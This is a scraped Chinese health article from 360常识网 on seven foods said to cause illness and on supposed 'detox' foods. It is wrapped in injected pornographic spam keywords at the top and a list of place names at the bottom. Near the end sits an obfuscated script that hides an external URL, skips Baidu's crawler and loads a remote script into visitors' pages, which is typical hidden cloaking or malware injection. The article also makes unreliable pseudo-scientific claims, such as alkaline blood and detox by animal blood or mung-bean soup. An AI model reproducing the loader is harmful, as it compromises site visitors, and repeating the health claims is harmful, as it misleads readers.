亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 飲食 > 健康飲食 > 正文

最容易讓人生病的7種食物

2015-11-16 16:39:18  來源:360常識網(wǎng)   熱度:
導語:我們所吃的食物對于我們的健康非常重要,因此對于一些影響身體健康的食品我們應該要遠離,那么哪些食品對身體健康有影響呢?

生病

最容易讓人生病的7種食物

我們要想身體健康,首先需要健康合理的飲食,而其中最主要的就是需要遠離有害健康的食品,那么哪些食物對于健康有影響呢?下面為大家介紹最容易讓人生病的7種食物,供大家了解。

燒烤類食品

燒烤類食品含有強致癌物質(zhì)3,4-苯并芘。僅此一條,就足以警示人們對燒烤類食品“退避三舍”。

油炸食品

油炸食品能量密度高,經(jīng)常進食易導致肥胖;含有較高的油脂和氧化物質(zhì),是導致高脂血癥和冠心病的最危險的食品;在油炸過程中,往往產(chǎn)生大量的致癌物質(zhì)。已經(jīng)有研究表明,常吃油炸食物的人群,其部分癌癥的發(fā)病率遠遠高于不吃或極少進食油炸食物的人群。

罐頭類食品

不論是水果類罐頭,還是肉類罐頭,其中的營養(yǎng)素都遭到大量的破壞,特別是各類維生素幾乎被破壞殆盡。另外,罐頭制品中的蛋白質(zhì)常常出現(xiàn)變性,使其消化吸收率大為降低,營養(yǎng)價值大幅度“縮水”。還有,很多水果類罐頭含有較高的糖分,并以液體為載體被攝入人體,使糖分的吸收率大為增高,可在進食后短時間內(nèi)導致血糖大幅攀升,胰腺負荷大為加重。同時,由于能量較高,有導致肥胖之嫌。

腌制食品

在腌制食品的過程中需要大量放鹽,這導致此類食物鈉鹽含量超標,造成常常進食腌制食品者腎臟的負擔加重,發(fā)生高血壓的風險增高。還有,食品在腌制過程中可產(chǎn)生大量的致癌物質(zhì)亞硝胺,導致鼻咽癌等惡性腫瘤的發(fā)病風險大為增高。此外,由于高濃度的鹽分可嚴重損害胃腸道黏膜,故常進食腌制食品者,胃腸炎癥和潰瘍的發(fā)病率較高。

加工的肉類食品

這類食物含有一定量的亞硝酸鹽,故可能有導致癌癥的潛在風險。此外,由于添加防腐劑、增色劑和保色劑等,造成人體肝臟負擔加重。還有,火腿等制品大多為高鈉食品,大量進食可導致鹽分攝入過多,造成血壓波動及腎功能損害。

肥肉和動物內(nèi)臟類食物

肥肉和動物內(nèi)臟類食物雖然含有一定量的優(yōu)質(zhì)蛋白質(zhì)、維生素和礦物質(zhì),但其中所含的大量的飽和脂肪酸和膽固醇,已經(jīng)被確定為導致心臟病的最重要的兩類膳食因素?,F(xiàn)已明確,長期大量進食動物內(nèi)臟類食物可肯定性地、大幅度地增高患心血管疾病和惡性腫瘤(如結(jié)腸癌、乳腺癌)的發(fā)生風險。

奶油制品

奶油制品的能量密度很高,但營養(yǎng)素含量并不豐富,主要為脂肪和糖。常吃奶油類制品可導致體重增加,甚至出現(xiàn)血糖和血脂升高。飯前食用奶油蛋糕等,還會引起食欲降低。高脂肪和高糖分常常影響胃腸排空,甚至導致胃食管反流。很多人在空腹進食奶油制品后出現(xiàn)返酸、燒心等癥狀。

吃什么食物能幫助排毒

黑木耳和菌類植物

香菇、花菇、蘑菇、黑木耳等菌類食物,具有清潔血液、解毒、增強免疫機能和抑制癌細胞的作用,經(jīng)常食用可以有效地清除“體內(nèi)垃圾”。

雞、鴨、鵝、豬等動物血

它們中的血漿蛋白經(jīng)過人體胃酸和消化酶分解后,能產(chǎn)生一種解毒和滑腸物質(zhì),可與入侵腸道的粉塵、有害金屬微粒發(fā)生化學反應,變成一種不易被人體吸收的廢物,隨著糞便一起排出體外。

海帶

海帶膠質(zhì)能促進體內(nèi)的放射性物質(zhì)隨同大小便排出人體,從而減少放射物質(zhì)在人體內(nèi)的積聚,減少放射性疾病發(fā)生率。

綠豆湯

“要長壽,多食豆”。綠豆湯有通行十二經(jīng)絡(luò)、解毒的功效,是一種很好的能幫助排泄體內(nèi)的毒物,促進機體的正常代謝的食物。

蔬菜、水果

正常情況下,人體血液是弱堿性狀態(tài),若酸性成分過多,就會變成酸性體質(zhì),成為多種疾病的溫床。由于禽、畜、魚等肉食及蛋類、糖、米和面等,在體內(nèi)代謝后使血液偏酸,又由于這些食物營養(yǎng)價值較高,而深受人們青睞,從而體內(nèi)的酸性成分增積越多;而蔬菜、水果等含堿性食物,恰恰可以抵消過多的酸性成分,所以要多吃這些果蔬類食品,保障血液維持在略堿性的狀態(tài)。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
深圳市| 原平市| 怀柔区| 肇州县| 东乡| 克东县| 阿鲁科尔沁旗| 宜城市| 岳池县| 吕梁市| 抚远县| 阿克| 旬邑县| 曲沃县| 新津县| 黄浦区| 海淀区| 沧州市| 玉林市| 当涂县| 南华县| 陕西省| 新营市| 大埔区| 康马县| 沙洋县| 丰县| 昌宁县| 闽侯县| 西林县| 景宁| 新蔡县| 兴化市| 宕昌县| 兴城市| 蓬溪县| 吴忠市| 岳西县| 临江市| 青岛市| 隆林|